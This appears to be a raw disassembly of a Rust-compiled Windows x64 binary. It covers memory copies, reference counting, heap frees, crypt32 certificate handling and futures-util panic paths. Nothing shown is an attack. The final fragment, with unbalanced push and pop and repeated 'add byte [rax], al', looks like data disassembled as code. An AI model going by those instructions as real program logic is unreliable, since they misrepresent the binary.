mov rax, qword [rsp + 0x250]
mov qword [rsi + 0x38], rax
mov eax, dword [rsp + 0xc8]
mov dword [rsi + 0x40], eax
movups xmm0, xmmword [rsp + 0x4ec]
movups xmm1, xmmword [rsp + 0x4fc]
movups xmmword [rsi + 0x44], xmm0
movups xmmword [rsi + 0x54], xmm1
mov eax, dword [rsp + 0x50c]
mov dword [rsi + 0x64], eax
mov byte [rsi + 0x68], r13b
mov rax, qword [rsp + 0xa0]
mov qword [rsi + 0x70], rax
movzx eax, byte [rsp + 0xc0]
mov byte [rsi + 0x78], al
movzx eax, byte [rsp + 0x2e]
mov byte [rsi + 0x79], al
movzx eax, byte [rsp + 0x2d]
mov byte [rsi + 0x7a], al
movaps xmm0, xmmword [rsp + 0x280]
movdqa xmm1, xmmword [rsp + 0x290]
movaps xmm2, xmmword [rsp + 0x2a0]
movaps xmm3, xmmword [rsp + 0x2b0]
movups xmmword [rsi + 0x80], xmm0
movdqu xmmword [rsi + 0x90], xmm1
movups xmmword [rsi + 0xa0], xmm2
movups xmmword [rsi + 0xb0], xmm3
movdqa xmm0, xmmword [rsp + 0x2c0]
movdqu xmmword [rsi + 0xc0], xmm0
mov rax, qword [rsp + 0x2d0]
mov qword [rsi + 0xd0], rax
mov word [rsi + 0x250], 0
mov rax, qword [rsp + 0x278]
mov qword [rsi + 0x258], rax
mov eax, dword [rsp + 0xcc]
mov dword [rsi + 0x260], eax
mov rax, rsi
add rax, 0x268
lea rdi, [0x14015dd08]
mov byte [rax], 0
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
lea rcx, [rax - 1]
cmp rax, 2
mov eax, 0
cmovae rax, rcx
cmp rax, 1
lea r13, [rsp + 0x30]
je 0x14009ada0
test rax, rax
jne 0x14009ade7
mov rbx, qword [rsp + 0xa8]
mov rax, qword [rbx + 0x100]
lock dec qword [rax]
jne 0x14009acd0
mov rcx, qword [rbx + 0x100]
call fcn.1400ca680
mov rax, qword [rbx + 0x108]
lock dec qword [rax]
je 0x14009ace1
mov rax, qword [rsp + 0xb0]
cmp qword [rax], 0
je 0x14009ac69
mov rax, qword [rsp + 0x268]
mov rcx, qword [rax]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rbx + 0xf0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rax, qword [rbx + 0x150]
lock dec qword [rax]
jne 0x14009ad10
mov rcx, qword [rbx + 0x150]
call fcn.1400cc150
cmp byte [rbx + 0x148], 2
je 0x14009ad19
mov rax, qword [rbx + 0x128]
mov rdx, qword [rbx + 0x130]
mov r8, qword [rbx + 0x138]
mov rcx, qword [rsp + 0x338]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x270]
cmp byte [rax], 2
jae 0x14009ad26
jmp 0x14009ad51
mov rax, qword [rbx + 0x108]
lock dec qword [rax]
jne 0x14009ac4a
mov rcx, qword [rbx + 0x108]
mov rdx, qword [rbx + 0x110]
call case.0x14009a20c.177
mov rax, qword [rsp + 0xb0]
cmp qword [rax], 0
jne 0x14009ac58
jmp 0x14009ac69
cmp byte [rbx + 0x148], 2
jne 0x14009ac9e
mov rax, qword [rsp + 0x270]
cmp byte [rax], 2
jb 0x14009ad51
mov r14, qword [rbx + 0x168]
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbx + 0x170]
mov rdx, qword [rbx + 0x178]
mov r8, qword [rbx + 0x180]
mov rcx, qword [rsp + 0x348]
call qword [rax + 0x10]
mov rax, qword [rbx + 0x190]
mov rdx, qword [rbx + 0x198]
mov r8, qword [rbx + 0x1a0]
mov rcx, qword [rsp + 0x340]
call qword [rax + 0x10]
jmp 0x14009ade7
mov rax, qword [rsp + 0xa8]
mov r14, qword [rax + 0xe8]
mov rbx, qword [rax + 0xf0]
mov rax, qword [rbx]
test rax, rax
je 0x14009adc3
mov rcx, r14
call rax
cmp qword [rbx + 8], 0
je 0x14009ade7
cmp qword [rbx + 0x10], 0x11
jb 0x14009add5
mov r14, qword [r14 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0xa8]
mov qword [rbx + 0xe0], 2
mov qword [rbx + 0xe8], rsi
mov qword [rbx + 0xf0], rdi
mov rax, qword [rsp + 0x170]
lock dec qword [rax]
jne 0x14009aec0
mov rcx, qword [rsp + 0x170]
call fcn.1400ca680
mov rax, qword [rsp + 0x178]
lock dec qword [rax]
mov rsi, qword [rsp + 0xb0]
je 0x14009aeda
cmp qword [rsp + 0x150], 0
je 0x14009ae5a
mov rcx, qword [rsp + 0x158]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsp + 0x160]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rax, qword [rsp + 0x1c0]
lock dec qword [rax]
jne 0x14009ae85
mov rcx, qword [rsp + 0x1c0]
call fcn.1400cc150
cmp byte [rsp + 0x1b8], 2
je 0x140099700
mov rax, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x1a0]
mov r8, qword [rsp + 0x1a8]
lea rcx, [rsp + 0x1b0]
call qword [rax + 0x10]
jmp 0x140099700
mov rax, qword [rsp + 0x178]
lock dec qword [rax]
mov rsi, qword [rsp + 0xb0]
jne 0x14009ae41
mov rcx, qword [rsp + 0x178]
mov rdx, qword [rsp + 0x180]
call case.0x14009a20c.177
cmp qword [rsp + 0x150], 0
jne 0x14009ae4c
jmp 0x14009ae5a
mov rdi, qword [rsp + 0x170]
lock inc qword [rdi]
jle 0x14009bd3e
mov rbx, qword [rsp + 0x178]
mov rsi, qword [rsp + 0x180]
lock inc qword [rbx]
jle 0x14009bd3e
cmp dword [rsp + 0x150], 1
jne 0x14009af5e
mov rcx, qword [rsp + 0x158]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rsp + 0x248], rax
mov eax, 1
mov qword [rsp + 0xb8], rax
jmp 0x14009af6a
mov qword [rsp + 0xb8], 0
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
movzx r14d, byte [rsp + 0x16c]
movzx r13d, byte [rsp + 0x16d]
movq xmm9, qword [rsp + 0x168]
mov rbp, qword [rsp + 0x1c0]
lock inc qword [rbp]
jle 0x14009bd3e
mov r12, rax
mov qword [rsp + 0xa0], rsi
movzx eax, byte [rsp + 0x1c8]
mov byte [rsp + 0xc0], al
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0xc8], eax
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x250], rax
movzx eax, byte [rsp + 0x1c9]
mov byte [rsp + 0x2e], al
movzx eax, byte [rsp + 0x1ca]
mov byte [rsp + 0x2d], al
mov r15b, 2
cmp byte [rsp + 0x1b8], 2
je 0x14009b034
mov rax, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a0]
mov r9, qword [rsp + 0x1a8]
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x1b0]
call qword [rax]
movzx r15d, byte [rsp + 0x1b8]
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
lea rax, [rsp + 0x4cc]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movzx eax, byte [0x14019f308]
mov edx, 0x4cf8
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14009bd97
mov rsi, rax
mov rax, qword [rsp + 0xb8]
mov qword [rsi], rax
mov rax, qword [rsp + 0x248]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], r12
movd dword [rsi + 0x18], xmm9
mov byte [rsi + 0x1c], r14b
mov byte [rsi + 0x1d], r13b
mov qword [rsi + 0x20], rdi
mov qword [rsi + 0x28], rbx
mov rax, qword [rsp + 0xa0]
mov qword [rsi + 0x30], rax
mov rax, qword [rsp + 0x250]
mov qword [rsi + 0x38], rax
mov eax, dword [rsp + 0xc8]
mov dword [rsi + 0x40], eax
movups xmm0, xmmword [rsp + 0x4c8]
movups xmm1, xmmword [rsp + 0x4d8]
movups xmmword [rsi + 0x44], xmm0
movups xmmword [rsi + 0x54], xmm1
mov eax, dword [rsp + 0x4e8]
mov dword [rsi + 0x64], eax
mov byte [rsi + 0x68], r15b
mov qword [rsi + 0x70], rbp
movzx eax, byte [rsp + 0xc0]
mov byte [rsi + 0x78], al
movzx eax, byte [rsp + 0x2e]
mov byte [rsi + 0x79], al
movzx eax, byte [rsp + 0x2d]
mov byte [rsi + 0x7a], al
movaps xmm0, xmmword [rsp + 0x110]
movups xmmword [rsi + 0xc0], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmm1, xmmword [rsp + 0xe0]
movaps xmm2, xmmword [rsp + 0xf0]
movaps xmm3, xmmword [rsp + 0x100]
movups xmmword [rsi + 0xb0], xmm3
movups xmmword [rsi + 0xa0], xmm2
movups xmmword [rsi + 0x90], xmm1
movups xmmword [rsi + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x280]
movdqa xmm1, xmmword [rsp + 0x290]
movaps xmm2, xmmword [rsp + 0x2a0]
movaps xmm3, xmmword [rsp + 0x2b0]
movups xmmword [rsi + 0xd0], xmm0
movdqu xmmword [rsi + 0xe0], xmm1
movups xmmword [rsi + 0xf0], xmm2
movups xmmword [rsi + 0x100], xmm3
movdqa xmm0, xmmword [rsp + 0x2c0]
movdqu xmmword [rsi + 0x110], xmm0
mov rax, qword [rsp + 0x2d0]
mov qword [rsi + 0x120], rax
mov byte [rsi + 0x2d2], 0
mov rax, qword [rsp + 0x278]
mov qword [rsi + 0x2638], rax
mov eax, dword [rsp + 0xcc]
mov dword [rsi + 0x2640], eax
mov rax, rsi
add rax, 0x2648
lea rdi, [0x14015dd28]
jmp 0x14009abdd
cmp rax, 1
jne 0x14009bd70
mov rdx, qword [rbx + 0xe8]
mov rax, qword [rbx + 0xf0]
lea rcx, [rsp + 0x350]
mov r8, qword [rsp + 0x260]
call qword [rax + 0x18]
movzx ebx, byte [rsp + 0x361]
cmp bl, 3
je 0x14009ba09
mov rsi, qword [rsp + 0x350]
mov rdi, qword [rsp + 0x358]
movzx ebp, byte [rsp + 0x360]
lea rcx, [rsp + 0x362]
mov eax, dword [rcx]
mov dword [rsp + 0x138], eax
movzx eax, word [rcx + 4]
mov word [rsp + 0x13c], ax
mov r14, qword [rsp + 0xb0]
cmp dword [r14], 4
je 0x14009bdfc
mov rcx, r14
call fcn.14005db30
mov qword [r14], 4
cmp bl, 2
jne 0x14009b2d0
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14009be3b
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 7
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov bl, 2
mov rsi, rax
lea rcx, [rsp + 0x578]
mov r15, qword [rsp + 0x240]
jmp 0x14009b2fe
movzx eax, word [rsp + 0x13c]
mov word [rsp + 0x12c], ax
mov eax, dword [rsp + 0x138]
mov dword [rsp + 0x128], eax
mov byte [rsp + 0x2f], bpl
mov r15, rdi
lea rcx, [rsp + 0x578]
mov eax, dword [rsp + 0x128]
mov dword [rsp + 0x130], eax
movzx eax, word [rsp + 0x12c]
mov word [rsp + 0x134], ax
mov rax, qword [rsp + 0xa8]
mov rdi, qword [rax]
cmp rdi, 2
je 0x14009bdfc
mov r8d, 0xd8
mov rdx, qword [rsp + 0x238]
call fcn.140121660
mov rax, qword [rsp + 0xb0]
cmp dword [rax], 4
je 0x14009b35e
mov rcx, qword [rsp + 0xb0]
call fcn.14005db30
mov rax, qword [rsp + 0xa8]
mov qword [rax], 2
mov qword [rsp + 0x3e8], rdi
mov r8d, 0xd8
lea rcx, [rsp + 0x3f0]
lea r14, [rsp + 0x578]
mov rdx, r14
call fcn.140121660
cmp bl, 2
je 0x14009ba1a
mov qword [rsp + 0x150], rdi
mov r8d, 0xd8
lea rcx, [rsp + 0x158]
mov rdx, r14
call fcn.140121660
lea rcx, [rsp + 0x50]
mov rdx, rsi
call qword [r15 + 0x50]
movzx eax, byte [rsp + 0x2f]
mov byte [rsp + 0x69], al
test bl, 1
mov qword [rsp + 0x240], r15
je 0x14009b403
lea rcx, [rsp + 0x368]
mov rdx, rsi
call qword [r15 + 0x78]
movabs rax, 0x8000000000000001
cmp qword [rsp + 0x368], rax
jne 0x14009b4d0
mov r12, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
mov r15, qword [rsp + 0x60]
movzx ebp, byte [rsp + 0x68]
lea rcx, [rsp + 0x58]
mov eax, dword [rcx + 0x11]
mov ecx, dword [rcx + 0x14]
mov dword [rsp + 0x148], eax
mov dword [rsp + 0x14b], ecx
test bpl, bpl
mov byte [rsp + 0xb8], bpl
je 0x14009b490
mov rbp, r15
lea rcx, [rsp + 0x1c8]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x310], rax
movups xmm0, xmmword [rcx + 0x10]
movups xmm1, xmmword [rcx + 0x20]
movups xmm2, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x300], xmm2
movaps xmmword [rsp + 0x2f0], xmm1
movaps xmmword [rsp + 0x2e0], xmm0
cmp byte [rsp + 0x228], 0
jne 0x14009b7b4
xor r15d, r15d
jmp 0x14009b7bf
cmp byte [rsp + 0x228], 0
lea rcx, [rsp + 0x1c8]
je 0x14009b532
mov rbp, r15
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x310], rax
movups xmm0, xmmword [rcx + 0x10]
movups xmm1, xmmword [rcx + 0x20]
movups xmm2, xmmword [rcx + 0x30]
jmp 0x14009b79c
mov rdi, qword [rsp + 0x50]
test rdi, rdi
je 0x14009b72c
mov r14, qword [rsp + 0x58]
movzx eax, byte [0x14019f308]
mov edx, 0x28
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14009be4a
mov r12, rax
mov rax, qword [rsp + 0x378]
mov qword [r12 + 0x10], rax
movups xmm0, xmmword [rsp + 0x368]
movups xmmword [r12], xmm0
mov qword [r12 + 0x18], rdi
mov qword [r12 + 0x20], r14
lea rdi, [0x14015a610]
jmp 0x14009b40d
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [rcx + 0x10]
movups xmm1, xmmword [rcx + 0x20]
movups xmm2, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x70], xmm2
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x210]
lea r14, [rsp + 0x50]
mov r8, r14
mov r9b, 1
call fcn.1400856c0
mov rcx, r14
call fcn.140081de0
cmp byte [rsp + 0x50], 2
jb 0x14009b5b1
mov r14, qword [rsp + 0x58]
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
lea rcx, [rsp + 0x78]
call qword [rax + 0x10]
mov r8, qword [rsp + 0x80]
lea rax, [r8 + 1]
cmp rax, 2
jae 0x14009b99f
cmp byte [rsp + 0xd0], 3
jne 0x14009b771
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14009be3b
mov r14, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
mov r8d, 0x17
mov rcx, rax
lea rdx, [0x140158cdd]
call fcn.1400a8460
test r12, r12
mov rbx, qword [rsp + 0x240]
je 0x14009b66e
mov rax, qword [rdi]
test rax, rax
je 0x14009b649
mov rcx, r12
call rax
cmp qword [rdi + 8], 0
je 0x14009b66e
cmp qword [rdi + 0x10], 0x11
jb 0x14009b65c
mov r12, qword [r12 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
lock dec qword [r15]
jne 0x14009b67c
mov rcx, r15
call fcn.1400ca680
mov rax, qword [rbx]
test rax, rax
je 0x14009b689
mov rcx, rsi
call rax
cmp qword [rbx + 8], 0
je 0x14009b6ad
cmp qword [rbx + 0x10], 0x11
jb 0x14009b69b
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x210]
test rax, rax
je 0x14009b6cd
lock dec qword [rax]
jne 0x14009b6cd
lea rcx, [rsp + 0x210]
call fcn.1400cb9d0
mov rax, qword [rsp + 0x1b8]
test rax, rax
je 0x14009b6f5
lock dec qword [rax]
jne 0x14009b6f5
mov rcx, qword [rsp + 0x1b8]
mov rdx, qword [rsp + 0x1c0]
call case.0x14009a20c.177
mov rax, qword [rsp + 0x218]
mov bl, 2
test rax, rax
je 0x14009b8f2
lock dec qword [rax]
jne 0x14009b8f2
mov rcx, qword [rsp + 0x218]
mov rdx, qword [rsp + 0x220]
call case.0x14009a20c.177
jmp 0x14009b8f2
movzx eax, byte [0x14019f308]
mov edx, 0x18
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14009be71
mov r12, rax
mov rax, qword [rsp + 0x378]
mov qword [r12 + 0x10], rax
movups xmm0, xmmword [rsp + 0x368]
movups xmmword [r12], xmm0
lea rdi, [0x14015a3f0]
jmp 0x14009b40d
mov rbp, r15
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x310], rax
movups xmm0, xmmword [rsp + 0xd0]
movups xmm1, xmmword [rsp + 0xe0]
movups xmm2, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x300], xmm2
movaps xmmword [rsp + 0x2f0], xmm1
movaps xmmword [rsp + 0x2e0], xmm0
mov byte [rsp + 0x1d0], 1
mov r15b, 1
movdqu xmm9, xmmword [rsp + 0x218]
mov r13, qword [rsp + 0x210]
movzx eax, byte [0x14019f308]
mov edx, 0x440
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14009be2c
mov r14, rax
mov r8d, 0x88
mov rcx, rax
lea rdx, [rsp + 0x150]
call fcn.140121660
mov qword [r14 + 0x88], rsi
mov rax, qword [rsp + 0x240]
mov qword [r14 + 0x90], rax
movzx eax, byte [rsp + 0x2f]
mov byte [r14 + 0x98], al
mov byte [r14 + 0x99], bl
mov eax, dword [rsp + 0x130]
mov dword [r14 + 0x9a], eax
movzx eax, word [rsp + 0x134]
mov word [r14 + 0x9e], ax
mov qword [r14 + 0xa0], r12
mov qword [r14 + 0xa8], rdi
mov qword [r14 + 0xb0], rbp
movzx eax, byte [rsp + 0xb8]
mov byte [r14 + 0xb8], al
mov eax, dword [rsp + 0x148]
mov ecx, dword [rsp + 0x14b]
mov dword [r14 + 0xb9], eax
mov dword [r14 + 0xbc], ecx
mov rax, qword [rsp + 0x310]
mov qword [r14 + 0xf0], rax
movaps xmm0, xmmword [rsp + 0x2e0]
movaps xmm1, xmmword [rsp + 0x2f0]
movaps xmm2, xmmword [rsp + 0x300]
movups xmmword [r14 + 0xe0], xmm2
movups xmmword [r14 + 0xd0], xmm1
movups xmmword [r14 + 0xc0], xmm0
movdqu xmmword [r14 + 0xf8], xmm9
mov qword [r14 + 0x108], r13
mov byte [r14 + 0x110], r15b
mov byte [r14 + 0x111], 0
mov bl, 4
lea r13, [rsp + 0x30]
mov rsi, qword [rsp + 0xa8]
mov rcx, rsi
call fcn.14005d2e0
mov qword [rsi], 3
mov qword [rsi + 8], r14
mov rax, qword [rsp + 0x570]
mov rcx, qword [rsp + 0x330]
mov qword [rcx + 0x60], rax
movups xmm0, xmmword [rsp + 0x560]
movups xmmword [rcx + 0x50], xmm0
movups xmm0, xmmword [rsp + 0x550]
movups xmmword [rcx + 0x40], xmm0
movdqu xmm0, xmmword [rsp + 0x510]
movdqu xmm1, xmmword [rsp + 0x520]
movups xmm2, xmmword [rsp + 0x530]
movups xmm3, xmmword [rsp + 0x540]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov byte [rsi + 0x78], bl
mov rbx, rsi
mov eax, dword [rsp + 0x329]
mov ecx, dword [rsp + 0x32c]
mov rdx, qword [rsp + 0x258]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
mov eax, 3
mov rdx, qword [rsp + 0xb0]
jmp 0x1400996c0
lock dec qword [r8 + 8]
jne 0x14009b5de
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14009b5de
cmp rax, 1
jne 0x14009be14
mov rax, rbx
movzx ebx, byte [rbx + 0x78]
cmp bl, 4
jne 0x14009bb24
mov rax, qword [rsp + 0x238]
mov rdx, qword [rax]
lea rcx, [rsp + 0x150]
mov r8, qword [rsp + 0x260]
call fcn.1400c4f00
movzx ebx, byte [rsp + 0x1c0]
cmp bl, 3
jne 0x14009bba7
mov rax, qword [rsp + 0x230]
mov byte [rax + 0x70], 3
jmp 0x14009bcc8
lea rcx, [rsp + 0x470]
call fcn.140081de0
cmp byte [rsp + 0x470], 2
jb 0x14009ba5d
mov rbx, qword [rsp + 0x478]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x480]
mov rdx, qword [rsp + 0x488]
mov r8, qword [rsp + 0x490]
lea rcx, [rsp + 0x498]
call qword [rax + 0x10]
mov r8, qword [rsp + 0x4a0]
lea rax, [r8 + 1]
cmp rax, 2
jae 0x14009bd07
mov rax, qword [rsp + 0x4a8]
test rax, rax
mov rdi, qword [rsp + 0xa8]
je 0x14009babe
lock dec qword [rax]
jne 0x14009babe
lea rcx, [rsp + 0x4a8]
call fcn.1400cb9d0
mov rax, qword [rsp + 0x450]
test rax, rax
je 0x14009bae6
lock dec qword [rax]
jne 0x14009bae6
mov rcx, qword [rsp + 0x450]
mov rdx, qword [rsp + 0x458]
call case.0x14009a20c.177
mov rax, qword [rsp + 0x4b0]
test rax, rax
je 0x14009bb0e
lock dec qword [rax]
jne 0x14009bb0e
mov rcx, qword [rsp + 0x4b0]
mov rdx, qword [rsp + 0x4b8]
call case.0x14009a20c.177
mov rcx, rdi
call fcn.14005d2e0
mov qword [rdi], 4
mov bl, 2
jmp 0x14009bc52
mov byte [rax + 0x78], 3
cmp bl, 3
je 0x14009be59
mov rax, qword [rsp + 0x238]
movups xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0x1b0], xmm0
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x1a0], xmm0
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x190], xmm0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x180], xmm3
movaps xmmword [rsp + 0x170], xmm2
movaps xmmword [rsp + 0x160], xmm1
movaps xmmword [rsp + 0x150], xmm0
mov rcx, qword [rsp + 0x258]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x1c1], eax
mov dword [rsp + 0x1c4], ecx
mov rsi, qword [rsp + 0x150]
movups xmm0, xmmword [rsp + 0x158]
movaps xmmword [rsp + 0x380], xmm0
movups xmm0, xmmword [rsp + 0x168]
movaps xmmword [rsp + 0x390], xmm0
movups xmm0, xmmword [rsp + 0x178]
movaps xmmword [rsp + 0x3a0], xmm0
movups xmm0, xmmword [rsp + 0x188]
movaps xmmword [rsp + 0x3b0], xmm0
movups xmm0, xmmword [rsp + 0x198]
movaps xmmword [rsp + 0x3c0], xmm0
movups xmm0, xmmword [rsp + 0x1a8]
movaps xmmword [rsp + 0x3d0], xmm0
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x3e0], rax
mov eax, dword [rsp + 0x1c1]
mov dword [rsp + 0x140], eax
mov eax, dword [rsp + 0x1c4]
mov dword [rsp + 0x143], eax
mov rdi, qword [rsp + 0xa8]
mov rcx, rdi
call fcn.14005d2e0
mov qword [rdi], 4
mov rdx, qword [rsp + 0x230]
mov qword [rdx], rsi
movaps xmm0, xmmword [rsp + 0x380]
movaps xmm1, xmmword [rsp + 0x390]
movaps xmm2, xmmword [rsp + 0x3a0]
movaps xmm3, xmmword [rsp + 0x3b0]
movups xmmword [rdx + 8], xmm0
movups xmmword [rdx + 0x18], xmm1
movups xmmword [rdx + 0x28], xmm2
movups xmmword [rdx + 0x38], xmm3
movaps xmm0, xmmword [rsp + 0x3c0]
movups xmmword [rdx + 0x48], xmm0
movaps xmm0, xmmword [rsp + 0x3d0]
movups xmmword [rdx + 0x58], xmm0
mov rax, qword [rsp + 0x3e0]
mov qword [rdx + 0x68], rax
mov byte [rdx + 0x70], bl
mov eax, dword [rsp + 0x140]
mov ecx, dword [rsp + 0x143]
mov dword [rdx + 0x71], eax
mov dword [rdx + 0x74], ecx
movaps xmm6, xmmword [rsp + 0x650]
movaps xmm7, xmmword [rsp + 0x660]
movaps xmm8, xmmword [rsp + 0x670]
movaps xmm9, xmmword [rsp + 0x680]
movaps xmm10, xmmword [rsp + 0x690]
add rsp, 0x6a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lock dec qword [r8 + 8]
jne 0x14009ba96
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14009ba96
lea rcx, str._Uri_as_Dst_::host_should_have_a_str
lea r8, [0x14015df28]
mov edx, 0x24
call fcn.140122a20
ud2
lea rcx, [0x14015de6f]
lea r8, [0x14015dee8]
mov edx, 0x18
call fcn.140122a20
lea rcx, str.internal_error:_entered_unreachable_code_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_srccollections_vec_dequemod.rsmark_pending_called_when_the_timer_entry_is_in_an_invalid_state
lea r8, [0x14015ac68]
mov edx, 0x28
call fcn.140122660
lea rcx, str.internal_error:_entered_unreachable_code_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_srccollections_vec_dequemod.rsmark_pending_called_when_the_timer_entry_is_in_an_invalid_state
lea r8, [0x14015ac80]
mov edx, 0x28
call fcn.140122660
mov ecx, 8
mov edx, 0x538
call fcn.140122190
mov ecx, 8
mov edx, 0x4cf8
call fcn.140122190
lea rax, str.core_src_netparser.rs
mov edx, 7
mov rcx, r8
mov r8, rax
call fcn.1401225f0
lea r8, str.core_src_netparser.rs
mov ecx, 8
mov edx, 7
call fcn.1401225f0
lea r8, str.core_src_netparser.rs
mov edx, 8
call fcn.140122990
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rsp
mov edx, 0x36
call fcn.1401279a0
lea rcx, str.internal_error:_entered_unreachable_code_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_srccollections_vec_dequemod.rsmark_pending_called_when_the_timer_entry_is_in_an_invalid_state
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rsp
mov edx, 0x28
call fcn.140122660
lea rcx, str.TryFlatten_polled_after_completionC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_try_future_try_flatten.rs
lea r8, [0x140158aa0]
mov edx, 0x22
call fcn.1401279a0
mov ecx, 8
mov edx, 0x440
call fcn.140122190
mov ecx, 8
mov edx, 0x38
call fcn.140122190
mov ecx, 8
mov edx, 0x28
call fcn.140122190
lea rcx, str.Ready_polled_after_completionC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_ready.rs
lea r8, [0x14015b0f0]
mov edx, 0x1d
call fcn.140122a20
mov ecx, 8
mov edx, 0x18
call fcn.140122190
int3
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
cmp dword [rcx], 2
jne 0x14009bfc0
add rcx, 8
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp fcn.14010cfc0
mov qword [rcx + 0x38], rdx
mov rbx, rcx
mov rdx, r8
mov r8, r9
call fcn.1400b01a0
mov rsi, rdx
test rax, rax
je 0x14009c061
mov rdi, rdx
mov rcx, rsi
call fcn.140097f30
mov ecx, eax
mov qword [rbx + 0x38], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov eax, 1
cmp cl, 0xd
jne 0x14009c06b
mov ecx, esi
and ecx, 3
mov eax, 2
cmp ecx, 1
jne 0x14009c06b
mov rbx, qword [rsi - 1]
mov r14, qword [rsi + 7]
mov rax, qword [r14]
test rax, rax
je 0x14009c021
mov rcx, rbx
call rax
dec rdi
cmp qword [r14 + 8], 0
je 0x14009c048
cmp qword [r14 + 0x10], 0x11
jb 0x14009c036
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
